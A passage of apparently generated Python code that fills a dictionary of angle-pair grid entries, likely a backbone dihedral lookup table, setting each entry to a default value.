NonPGIV_nonxpro[(70, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(70, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(80, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(90, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(100, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(110, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(120, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(130, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(140, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(150, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(160, 170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -180)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -170)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -160)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -150)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -140)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -130)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -120)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -110)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -100)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -90)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -80)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -70)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -60)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -50)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -40)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -30)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -20)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, -10)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 0)]=NonPGIV_nonxpro[(-180, -180)]
NonPGIV_nonxpro[(170, 10)]=NonPGIV_nonxpro[(-180, -180)]
